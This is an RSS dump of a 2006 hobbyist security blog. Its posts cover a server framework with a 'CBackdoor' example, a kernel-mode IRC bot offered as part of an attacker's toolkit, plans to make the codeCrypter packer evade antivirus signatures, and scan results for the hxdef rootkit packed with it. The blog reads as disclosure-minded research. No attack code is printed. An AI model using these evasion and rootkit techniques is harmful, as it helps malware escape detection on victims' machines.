<p> <small> <a href="http://tibbar.blog.co.uk/2006/12/22/hooking_drivers~1469031/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/10/19/linux_server_framework~1240678/"><default:title>linux server framework</default:title><default:link>http://tibbar.blog.co.uk/2006/10/19/linux_server_framework~1240678/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-10-19T23:13:23+02:00</dc:date><default:description>	&lt;p&gt;hmm here's my first linux project, a c++ framework for developing server apps.&lt;/p&gt;
	&lt;p&gt;You can inherit from CGenericServer and override the following virtual functions:&lt;/p&gt;
	&lt;p&gt;virtual void ProcessCommand(char* buf, int clientNumber);&lt;br&gt;
virtual bool Authenticate(int clientNumber);&lt;/p&gt;
	&lt;p&gt;a simple example is shown via the class CBackdoor that illustrates how you can implement authentication and override the default command processing (by default it will allow commands "quit" and "shutdown").&lt;/p&gt;
	&lt;p&gt;In GenericServer.h the preprocessor:&lt;/p&gt;
	&lt;p&gt;#define MAX_CLIENTS 3&lt;/p&gt;
	&lt;p&gt;is used to specify the max number of concurrent connections. Beyond this connections will be rejected until the queue shortens.&lt;/p&gt;
	&lt;p&gt;It's pretty simple and easily extended. I might consider adding a LINUX / WIN32 preprocessor and possibly even port it to windows kernel mode (as in the kernel ircbot).&lt;/p&gt;
	&lt;p&gt;If I do this, it will allow kernel mode servers to be written with ease.&lt;/p&gt;
	&lt;p&gt;Useful additions to the base class might be BinaryTransferSend/Recieve(char* filename) and probably a load of other stuff i can't think of right now.&lt;/p&gt;
	&lt;p&gt;It's built under KDevelop, but i guess you can compile from command line using gcc if you don't like this.&lt;/p&gt;
	&lt;p&gt;You can download it here: &lt;a href="http://tibbar.gso.googlepages.com/nixspy.zip"&gt;&lt;/p&gt;
	&lt;p&gt;GenericServerFramework&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/10/19/linux_server_framework~1240678/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>hmm here's my first linux project, a c++ framework for developing server apps.</p>
	<p>You can inherit from CGenericServer and override the following virtual functions:</p>
	<p>virtual void ProcessCommand(char* buf, int clientNumber);<br>
virtual bool Authenticate(int clientNumber);</p>
	<p>a simple example is shown via the class CBackdoor that illustrates how you can implement authentication and override the default command processing (by default it will allow commands "quit" and "shutdown").</p>
	<p>In GenericServer.h the preprocessor:</p>
	<p>#define MAX_CLIENTS 3</p>
	<p>is used to specify the max number of concurrent connections. Beyond this connections will be rejected until the queue shortens.</p>
	<p>It's pretty simple and easily extended. I might consider adding a LINUX / WIN32 preprocessor and possibly even port it to windows kernel mode (as in the kernel ircbot).</p>
	<p>If I do this, it will allow kernel mode servers to be written with ease.</p>
	<p>Useful additions to the base class might be BinaryTransferSend/Recieve(char* filename) and probably a load of other stuff i can't think of right now.</p>
	<p>It's built under KDevelop, but i guess you can compile from command line using gcc if you don't like this.</p>
	<p>You can download it here: <a href="http://tibbar.gso.googlepages.com/nixspy.zip"></p>
	<p>GenericServerFramework</a>
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/10/19/linux_server_framework~1240678/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/07/15/reactos~962335/"><default:title>ReactOS</default:title><default:link>http://tibbar.blog.co.uk/2006/07/15/reactos~962335/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-07-15T22:31:13+02:00</dc:date><default:description>	&lt;p&gt;ok this is off topic, but with the digg hype surrounding reactos at the moment, i thought i'd try it out, as i wanted a light weight windows to run under vmware on linux (instead of NT4).&lt;/p&gt;
	&lt;p&gt;it's a complete joke imho.  &lt;/p&gt;
	&lt;p&gt;example: installed firefox, tried to download and save a zip to desktop. 1st attempt seemed not to save a file, second attempt led to BSOD!!!&lt;/p&gt;
	&lt;p&gt;i don’t see what the difficulty is here. all they need to do is build the kernel and ensure usermode ntdll.dll has 100% compatibility with windows. Then you could use MS binaries for all other system dll that are effectively wrappers around ntdll.dll (excluding sockets)...ok you might have legal issues here, but this is ok provided you own an old copy of windows, which everyone on the planet does virtually!&lt;/p&gt;
	&lt;p&gt;Even the mouse movement in ReactOS is flickery and weird.  The project has been going for ages now and achieved very little compared to what the unix based OS's have managed.  Perhaps they should give up and stick to WINE, which is actually useful.&lt;/p&gt;
	&lt;p&gt;Who wants another version of windows, free or not?  Lets face facts, Windows is bundled with every pc in the world nearly, so having a free version is pointless.&lt;/p&gt;
	&lt;p&gt;Getting WINE working perfectly would be a much better use of time and effort.
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/07/15/reactos~962335/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>ok this is off topic, but with the digg hype surrounding reactos at the moment, i thought i'd try it out, as i wanted a light weight windows to run under vmware on linux (instead of NT4).</p>
	<p>it's a complete joke imho.  </p>
	<p>example: installed firefox, tried to download and save a zip to desktop. 1st attempt seemed not to save a file, second attempt led to BSOD!!!</p>
	<p>i don’t see what the difficulty is here. all they need to do is build the kernel and ensure usermode ntdll.dll has 100% compatibility with windows. Then you could use MS binaries for all other system dll that are effectively wrappers around ntdll.dll (excluding sockets)...ok you might have legal issues here, but this is ok provided you own an old copy of windows, which everyone on the planet does virtually!</p>
	<p>Even the mouse movement in ReactOS is flickery and weird.  The project has been going for ages now and achieved very little compared to what the unix based OS's have managed.  Perhaps they should give up and stick to WINE, which is actually useful.</p>
	<p>Who wants another version of windows, free or not?  Lets face facts, Windows is bundled with every pc in the world nearly, so having a free version is pointless.</p>
	<p>Getting WINE working perfectly would be a much better use of time and effort.
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/07/15/reactos~962335/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/06/18/update~892492/"><default:title>update</default:title><default:link>http://tibbar.blog.co.uk/2006/06/18/update~892492/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-06-18T23:31:25+02:00</dc:date><default:description>	&lt;p&gt;it's been a little while since i posted, don't worry, i've not forgotten about this...&lt;/p&gt;
	&lt;p&gt;i'm currently working on a kernel mode ftp server, which is about 60% finished.  the biggest hurdle is the lack of c runtime functions in the kernel, so i have opted to write my own c runtime library, so that i can port an existing ftpd directly, rather than write my own one using kernel specific api.&lt;/p&gt;
	&lt;p&gt;This route is more work up front, but the longer term gains should be greater - since you will be able to port more server apps to the kernel with fewer problems going forward.&lt;/p&gt;
	&lt;p&gt;Now, before some people start flaming me again, bear in mind that a kernel mode ftp server is not such a contraversal idea - it's not that different to a kernel mode web server (which are pretty common these days on linux, and even MS have IIS.sys now).
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/06/18/update~892492/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>it's been a little while since i posted, don't worry, i've not forgotten about this...</p>
	<p>i'm currently working on a kernel mode ftp server, which is about 60% finished.  the biggest hurdle is the lack of c runtime functions in the kernel, so i have opted to write my own c runtime library, so that i can port an existing ftpd directly, rather than write my own one using kernel specific api.</p>
	<p>This route is more work up front, but the longer term gains should be greater - since you will be able to port more server apps to the kernel with fewer problems going forward.</p>
	<p>Now, before some people start flaming me again, bear in mind that a kernel mode ftp server is not such a contraversal idea - it's not that different to a kernel mode web server (which are pretty common these days on linux, and even MS have IIS.sys now).
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/06/18/update~892492/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/04/11/what_comes_next~720805/"><default:title>What comes next?</default:title><default:link>http://tibbar.blog.co.uk/2006/04/11/what_comes_next~720805/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-04-11T22:07:40+02:00</dc:date><default:description>	&lt;p&gt;Well, I was quite surprised by the amount of interest that has been shown in the POC kernelmode ircbot.&lt;/p&gt;
	&lt;p&gt;So what should come next?  Should I continue to develop these kind of kernelmode applications, or is it a bad thing that these come out in the public?&lt;/p&gt;
	&lt;p&gt;I've seen feedback positive and negative, the arguments against mainly along the lines that malware will become nastier as a result of this code being published...I take an issue with this view.&lt;/p&gt;
	&lt;p&gt;Ok, so I could have kept this quiet or not have even bothered to write it...but let's get this in perspective.  I am a single person in this rather large world, and probably not more than average skilled in kernel mode programming (I'm pretty good in writing usermode applications, but am purely a hobbyist kernel mode programmer).&lt;/p&gt;
	&lt;p&gt;So, if I can write this POC, you are guaranteed that the full time professional spyware writers, black hat hackers etc are more than capable of this - and I would wager this type of kernel mode application already exists in the wild.&lt;/p&gt;
	&lt;p&gt;Now, what's better?  I keep quiet, and we can all pretend to be safe?  (while cybercriminals use this technology in secret...).  Or, I should publish every idea and POC I can think of, and share this knowledge with the security community?&lt;/p&gt;
	&lt;p&gt;I personally favour this being out in the open, as it means the anti-virus and firewall companies can research this type of threat and develop technologies to protect the end user.&lt;/p&gt;
	&lt;p&gt;This is the general argument for "full disclosure" and I think most will agree it is a policy that works.&lt;/p&gt;
	&lt;p&gt;I therefore have no moral issues with proceeding with further related research and will be 100% open with the results.&lt;/p&gt;
	&lt;p&gt;The kernel ircbot was a client network application, the next step will be to write a server network application within the kernel, and I think it will be called "KFtp".&lt;/p&gt;
	&lt;p&gt;See you next time,&lt;/p&gt;
	&lt;p&gt;Tibbar.
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/04/11/what_comes_next~720805/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>Well, I was quite surprised by the amount of interest that has been shown in the POC kernelmode ircbot.</p>
	<p>So what should come next?  Should I continue to develop these kind of kernelmode applications, or is it a bad thing that these come out in the public?</p>
	<p>I've seen feedback positive and negative, the arguments against mainly along the lines that malware will become nastier as a result of this code being published...I take an issue with this view.</p>
	<p>Ok, so I could have kept this quiet or not have even bothered to write it...but let's get this in perspective.  I am a single person in this rather large world, and probably not more than average skilled in kernel mode programming (I'm pretty good in writing usermode applications, but am purely a hobbyist kernel mode programmer).</p>
	<p>So, if I can write this POC, you are guaranteed that the full time professional spyware writers, black hat hackers etc are more than capable of this - and I would wager this type of kernel mode application already exists in the wild.</p>
	<p>Now, what's better?  I keep quiet, and we can all pretend to be safe?  (while cybercriminals use this technology in secret...).  Or, I should publish every idea and POC I can think of, and share this knowledge with the security community?</p>
	<p>I personally favour this being out in the open, as it means the anti-virus and firewall companies can research this type of threat and develop technologies to protect the end user.</p>
	<p>This is the general argument for "full disclosure" and I think most will agree it is a policy that works.</p>
	<p>I therefore have no moral issues with proceeding with further related research and will be 100% open with the results.</p>
	<p>The kernel ircbot was a client network application, the next step will be to write a server network application within the kernel, and I think it will be called "KFtp".</p>
	<p>See you next time,</p>
	<p>Tibbar.
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/04/11/what_comes_next~720805/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/04/06/kernel_mode_ircbot~708256/"><default:title>Kernel Mode Ircbot</default:title><default:link>http://tibbar.blog.co.uk/2006/04/06/kernel_mode_ircbot~708256/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-04-06T20:00:27+02:00</dc:date><default:description>	&lt;p&gt;The world of malware and rootkits has evolved a lot over the last two years, the most significant developments have been in the sophistication of rootkits.&lt;/p&gt;
	&lt;p&gt;In case the term "rootkit" doesn't mean much, a rootkit is basically a program that subverts the operating system, and allows the attacked to hide certain files and programs from the user.  It usually will also provide a hidden backdoor into the system, and will hide network connections made through the backdoor from the user.&lt;/p&gt;
	&lt;p&gt;Windows rootkits have been generally mixed between "usermode" rootkits - these are ones that run as a normal application (or possibly as an injected dll) and "kernelmode" rootkits, which are actually device drivers running at the highest priviledge level (ring 0).&lt;/p&gt;
	&lt;p&gt;Now generally, the kernel mode rootkits will hide files, hide network connections and the most sophisticated ones will provide a kernel mode backdoor.  This means all the functionality is held within a single driver (.sys file), and it is extremely difficult to detect whether one is installed on a machine.&lt;/p&gt;
	&lt;p&gt;However, the attacker will rarely be able to provide all the functionality they need purely in a driver, and still need to rely on usermode applications, for things like ftp servers, irc bots etc...&lt;/p&gt;
	&lt;p&gt;So I thought it would be interesting to see how hard it is, to actually provide this part of the attackers toolkit directly within the kernel mode driver.&lt;/p&gt;
	&lt;p&gt;One of the developers from rootkit.com called Valerino released a kernel mode socket library, that allows you to create sockets from a kernel mode driver, with reasonable ease.  His post is here:&lt;br&gt;
&lt;a href="http://www.rootkit.com/newsread.php?newsid=416"&gt;http://www.rootkit.com/newsread.php?newsid=416&lt;/a&gt;&lt;/p&gt;
	&lt;p&gt;I have used this library to create what I believe is the world's first kernel mode ircbot.  It's extremely basic in its' current form and will just join a channel plus responding to its' name.  But it is a framework that can be built upon and you could in theory write an extremely complex ircbot in this fashion.&lt;/p&gt;
	&lt;p&gt;Here's a screenshot of the system internals app "DebugView" that allows you to see kernel messages.  I have set the ircbot to ouput text received on irc into the debug messages:&lt;/p&gt;
	&lt;p&gt;&lt;img src="http://tibbar.gso.googlepages.com/screenshot.JPG" alt="" title=""&gt;&lt;/p&gt;
	&lt;p&gt;As I have very limited time for development, I thought I would share this one with the world...the source lives at:&lt;/p&gt;
	&lt;p&gt;&lt;a href="http://tibbar.gso.googlepages.com/KIrcBot.rar"&gt;http://tibbar.gso.googlepages.com/KIrcBot.rar&lt;/a&gt;&lt;/p&gt;
	&lt;p&gt;and I have set this up in Visual Studio 2003.  There are two build modes: usermode and kernelmode.&lt;/p&gt;
	&lt;p&gt;I essentially wrapped up the kernel socket functions Valerino wrote, to conform with Berkley sockets to some extent, which meant that the Irc bot can be compiled as a driver, or as a usermode executable.  The reason for doing this, is that it is notoriously hard to develop kernel mode applications and the test process is very slow - by allowing usermode builds, the code can be perfected in usermode, before beginning the kernel mode tests.&lt;/p&gt;
	&lt;p&gt;If you want to compile using the DDK, the batch file should be used.&lt;/p&gt;
	&lt;p&gt;Finally, if you want to support my releases, then I would be grateful if you could take some time to visit any sponsors on this page that are of interest to you.&lt;/p&gt;
	&lt;p&gt;Tibbar.
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/04/06/kernel_mode_ircbot~708256/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>The world of malware and rootkits has evolved a lot over the last two years, the most significant developments have been in the sophistication of rootkits.</p>
	<p>In case the term "rootkit" doesn't mean much, a rootkit is basically a program that subverts the operating system, and allows the attacked to hide certain files and programs from the user.  It usually will also provide a hidden backdoor into the system, and will hide network connections made through the backdoor from the user.</p>
	<p>Windows rootkits have been generally mixed between "usermode" rootkits - these are ones that run as a normal application (or possibly as an injected dll) and "kernelmode" rootkits, which are actually device drivers running at the highest priviledge level (ring 0).</p>
	<p>Now generally, the kernel mode rootkits will hide files, hide network connections and the most sophisticated ones will provide a kernel mode backdoor.  This means all the functionality is held within a single driver (.sys file), and it is extremely difficult to detect whether one is installed on a machine.</p>
	<p>However, the attacker will rarely be able to provide all the functionality they need purely in a driver, and still need to rely on usermode applications, for things like ftp servers, irc bots etc...</p>
	<p>So I thought it would be interesting to see how hard it is, to actually provide this part of the attackers toolkit directly within the kernel mode driver.</p>
	<p>One of the developers from rootkit.com called Valerino released a kernel mode socket library, that allows you to create sockets from a kernel mode driver, with reasonable ease.  His post is here:<br>
<a href="http://www.rootkit.com/newsread.php?newsid=416">http://www.rootkit.com/newsread.php?newsid=416</a></p>
	<p>I have used this library to create what I believe is the world's first kernel mode ircbot.  It's extremely basic in its' current form and will just join a channel plus responding to its' name.  But it is a framework that can be built upon and you could in theory write an extremely complex ircbot in this fashion.</p>
	<p>Here's a screenshot of the system internals app "DebugView" that allows you to see kernel messages.  I have set the ircbot to ouput text received on irc into the debug messages:</p>
	<p><img src="http://tibbar.gso.googlepages.com/screenshot.JPG" alt="" title=""></p>
	<p>As I have very limited time for development, I thought I would share this one with the world...the source lives at:</p>
	<p><a href="http://tibbar.gso.googlepages.com/KIrcBot.rar">http://tibbar.gso.googlepages.com/KIrcBot.rar</a></p>
	<p>and I have set this up in Visual Studio 2003.  There are two build modes: usermode and kernelmode.</p>
	<p>I essentially wrapped up the kernel socket functions Valerino wrote, to conform with Berkley sockets to some extent, which meant that the Irc bot can be compiled as a driver, or as a usermode executable.  The reason for doing this, is that it is notoriously hard to develop kernel mode applications and the test process is very slow - by allowing usermode builds, the code can be perfected in usermode, before beginning the kernel mode tests.</p>
	<p>If you want to compile using the DDK, the batch file should be used.</p>
	<p>Finally, if you want to support my releases, then I would be grateful if you could take some time to visit any sponsors on this page that are of interest to you.</p>
	<p>Tibbar.
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/04/06/kernel_mode_ircbot~708256/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/03/31/codecrypter_next_release_plans~689557/"><default:title>codeCrypter next release plans</default:title><default:link>http://tibbar.blog.co.uk/2006/03/31/codecrypter_next_release_plans~689557/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-03-31T16:16:51+02:00</dc:date><default:description>	&lt;p&gt;well, i'm taking a 5 min break from studying to think about my plans for the next release of codeCrypter.&lt;/p&gt;
	&lt;p&gt;The main weakness of the last release, which allowed a signature to be put on it, was that it used a static stub at entry point and another static stub for the decryption routine.&lt;/p&gt;
	&lt;p&gt;The second weakness was that the decryption stub was always placed in the same location in the last section of the file.&lt;/p&gt;
	&lt;p&gt;Finally, it used fixed parameters in the Linear Congential Random Number Generator (LCG) algorithm I used to perform the "encryption".&lt;/p&gt;
	&lt;p&gt;Now on the other side of things, I have not had any time to get further on my other project CodeMutator, but it had come a fair long way in development, and is capable of mutating stubs...&lt;/p&gt;
	&lt;p&gt;So the next release of codeCrypter is going to incorporate codeMutator for the purpose of making the stub different every time the packer is used.&lt;/p&gt;
	&lt;p&gt;The location of the decryption stub will be random in the last section, and random data will be filled in the space made for the stub, rather than leaving zeros (which allows AV to find the stub).&lt;/p&gt;
	&lt;p&gt;Finally, the user will be able to provide their own parameters for the LCG.&lt;/p&gt;
	&lt;p&gt;Now...back to revision...&lt;/p&gt;
	&lt;p&gt;See Ya!
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/03/31/codecrypter_next_release_plans~689557/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>well, i'm taking a 5 min break from studying to think about my plans for the next release of codeCrypter.</p>
	<p>The main weakness of the last release, which allowed a signature to be put on it, was that it used a static stub at entry point and another static stub for the decryption routine.</p>
	<p>The second weakness was that the decryption stub was always placed in the same location in the last section of the file.</p>
	<p>Finally, it used fixed parameters in the Linear Congential Random Number Generator (LCG) algorithm I used to perform the "encryption".</p>
	<p>Now on the other side of things, I have not had any time to get further on my other project CodeMutator, but it had come a fair long way in development, and is capable of mutating stubs...</p>
	<p>So the next release of codeCrypter is going to incorporate codeMutator for the purpose of making the stub different every time the packer is used.</p>
	<p>The location of the decryption stub will be random in the last section, and random data will be filled in the space made for the stub, rather than leaving zeros (which allows AV to find the stub).</p>
	<p>Finally, the user will be able to provide their own parameters for the LCG.</p>
	<p>Now...back to revision...</p>
	<p>See Ya!
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/03/31/codecrypter_next_release_plans~689557/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/03/23/jotti_scan~668946/"><default:title>jotti scan</default:title><default:link>http://tibbar.blog.co.uk/2006/03/23/jotti_scan~668946/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-03-23T14:59:00+01:00</dc:date><default:description>	&lt;p&gt;well, as requested, here's a jotti scan of the file.&lt;/p&gt;
	&lt;p&gt; AntiVir&lt;br&gt;
Found Backdoor-Server/HakDef.EE backdoor&lt;br&gt;
ArcaVir&lt;br&gt;
Found nothing&lt;br&gt;
Avast&lt;br&gt;
Found nothing&lt;br&gt;
AVG Antivirus&lt;br&gt;
Found BackDoor.Generic2.LSP&lt;br&gt;
BitDefender&lt;br&gt;
Found MemScan:Backdoor.HacDef.BR&lt;br&gt;
ClamAV&lt;br&gt;
Found nothing&lt;br&gt;
Dr.Web&lt;br&gt;
Found BackDoor.HackDef.164&lt;br&gt;
F-Prot Antivirus&lt;br&gt;
Found nothing&lt;br&gt;
Fortinet&lt;br&gt;
Found W32/HaKDef.EE-bdr&lt;br&gt;
Kaspersky Anti-Virus&lt;br&gt;
Found Backdoor.Win32.HakDef.ee&lt;br&gt;
NOD32&lt;br&gt;
Found a variant of Win32/HacDef&lt;br&gt;
Norman Virus Control&lt;br&gt;
Found nothing&lt;br&gt;
UNA&lt;br&gt;
Found nothing&lt;br&gt;
VirusBuster&lt;br&gt;
Found nothing&lt;br&gt;
VBA32&lt;br&gt;
Found BackDoor.HackDef.164&lt;/p&gt;
	&lt;p&gt;Bit of an improvement, but that might just be a factor of time.
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/03/23/jotti_scan~668946/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>well, as requested, here's a jotti scan of the file.</p>
	<p> AntiVir<br>
Found Backdoor-Server/HakDef.EE backdoor<br>
ArcaVir<br>
Found nothing<br>
Avast<br>
Found nothing<br>
AVG Antivirus<br>
Found BackDoor.Generic2.LSP<br>
BitDefender<br>
Found MemScan:Backdoor.HacDef.BR<br>
ClamAV<br>
Found nothing<br>
Dr.Web<br>
Found BackDoor.HackDef.164<br>
F-Prot Antivirus<br>
Found nothing<br>
Fortinet<br>
Found W32/HaKDef.EE-bdr<br>
Kaspersky Anti-Virus<br>
Found Backdoor.Win32.HakDef.ee<br>
NOD32<br>
Found a variant of Win32/HacDef<br>
Norman Virus Control<br>
Found nothing<br>
UNA<br>
Found nothing<br>
VirusBuster<br>
Found nothing<br>
VBA32<br>
Found BackDoor.HackDef.164</p>
	<p>Bit of an improvement, but that might just be a factor of time.
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/03/23/jotti_scan~668946/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/03/01/codecrypter~604986/"><default:title>codeCrypter</default:title><default:link>http://tibbar.blog.co.uk/2006/03/01/codecrypter~604986/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-03-01T23:25:13+01:00</dc:date><default:description>	&lt;p&gt;Back on 28/12/2005 I released a public version of a crypter called CodeCrypter on the site &lt;a href="http://www.governmentsecurity.org."&gt;www.governmentsecurity.org.&lt;/a&gt;&lt;/p&gt;
	&lt;p&gt;The purpose of the release was to demonstrate how ineffective AV are at detecting malware.  I also released the source code to the tool there.&lt;/p&gt;
	&lt;p&gt;Now, over 3 months later, I thought I'd check that all the AV vendors are detecting it... the results are very disappointing.&lt;/p&gt;
	&lt;p&gt;Using the service Virus Total, here's the results of crypting a rootkit called "hxdef".  This is the most popular rootkit used by hackers (www.hxdef.org).&lt;/p&gt;
	&lt;p&gt;Scan of hxdef packed with codecrypter 0.31, including resource packing at 1 March 2006:&lt;/p&gt;
	&lt;p&gt;Antivirus Version Update Result&lt;br&gt;
AntiVir 6.33.1.53 03.01.2006 no virus found&lt;br&gt;
Avast 4.6.695.0 03.01.2006 no virus found&lt;br&gt;
AVG 718 03.01.2006 no virus found&lt;br&gt;
Avira 6.33.1.53 03.01.2006 no virus found&lt;br&gt;
BitDefender 7.2 03.01.2006 MemScan:Backdoor.HacDef.BR&lt;br&gt;
CAT-QuickHeal 8.00 03.01.2006 (Suspicious) - DNAScan&lt;br&gt;
ClamAV devel-20060126 03.01.2006 no virus found&lt;br&gt;
DrWeb 4.33 03.01.2006 no virus found&lt;br&gt;
eTrust-InoculateIT 23.71.90 03.01.2006 no virus found&lt;br&gt;
eTrust-Vet 12.4.2100 03.01.2006 no virus found&lt;br&gt;
Ewido 3.5 03.01.2006 no virus found&lt;br&gt;
Fortinet 2.71.0.0 03.01.2006 suspicious&lt;br&gt;
F-Prot 3.16c 03.01.2006 no virus found&lt;br&gt;
Ikarus 0.2.59.0 03.01.2006 Backdoor.Win32.HacDef.084&lt;br&gt;
Kaspersky 4.0.2.24 03.01.2006 no virus found&lt;br&gt;
McAfee 4708 03.01.2006 no virus found&lt;br&gt;
NOD32v2 1.1422 03.01.2006 a variant of Win32/HacDef&lt;br&gt;
Norman 5.70.10 03.01.2006 no virus found&lt;br&gt;
Panda 9.0.0.4 03.01.2006 Suspicious file&lt;br&gt;
Sophos 4.03.0 03.01.2006 no virus found&lt;br&gt;
Symantec 8.0 03.01.2006 no virus found&lt;br&gt;
TheHacker 5.9.5.103 02.28.2006 no virus found&lt;br&gt;
UNA 1.83 03.01.2006 no virus found&lt;br&gt;
VBA32 3.10.5 03.01.2006 BackDoor.HackDef.164&lt;/p&gt;
	&lt;p&gt;Out of 24 AV vendors, only 4 correctly identified the file as hxdef.  Another 3 marked it as suspicious.&lt;/p&gt;
	&lt;p&gt;This means we have a 30% of AV detecting the file, 3 months after release of the packer.  More worryingly, all the popular AV are not detecting it (KAV, McAfee, Symantec).&lt;/p&gt;
	&lt;p&gt;I suspect that the ones who do detect it, are not recognising the packer, but instead are seeing the Import Address Table of hxdef, which I did not encrypt.&lt;/p&gt;
	&lt;p&gt;Very poor response time, given the amount of fees that they charge,
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/03/01/codecrypter~604986/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>Back on 28/12/2005 I released a public version of a crypter called CodeCrypter on the site <a href="http://www.governmentsecurity.org.">www.governmentsecurity.org.</a></p>
	<p>The purpose of the release was to demonstrate how ineffective AV are at detecting malware.  I also released the source code to the tool there.</p>
	<p>Now, over 3 months later, I thought I'd check that all the AV vendors are detecting it... the results are very disappointing.</p>
	<p>Using the service Virus Total, here's the results of crypting a rootkit called "hxdef".  This is the most popular rootkit used by hackers (www.hxdef.org).</p>
	<p>Scan of hxdef packed with codecrypter 0.31, including resource packing at 1 March 2006:</p>
	<p>Antivirus Version Update Result<br>
AntiVir 6.33.1.53 03.01.2006 no virus found<br>
Avast 4.6.695.0 03.01.2006 no virus found<br>
AVG 718 03.01.2006 no virus found<br>
Avira 6.33.1.53 03.01.2006 no virus found<br>
BitDefender 7.2 03.01.2006 MemScan:Backdoor.HacDef.BR<br>
CAT-QuickHeal 8.00 03.01.2006 (Suspicious) - DNAScan<br>
ClamAV devel-20060126 03.01.2006 no virus found<br>
DrWeb 4.33 03.01.2006 no virus found<br>
eTrust-InoculateIT 23.71.90 03.01.2006 no virus found<br>
eTrust-Vet 12.4.2100 03.01.2006 no virus found<br>
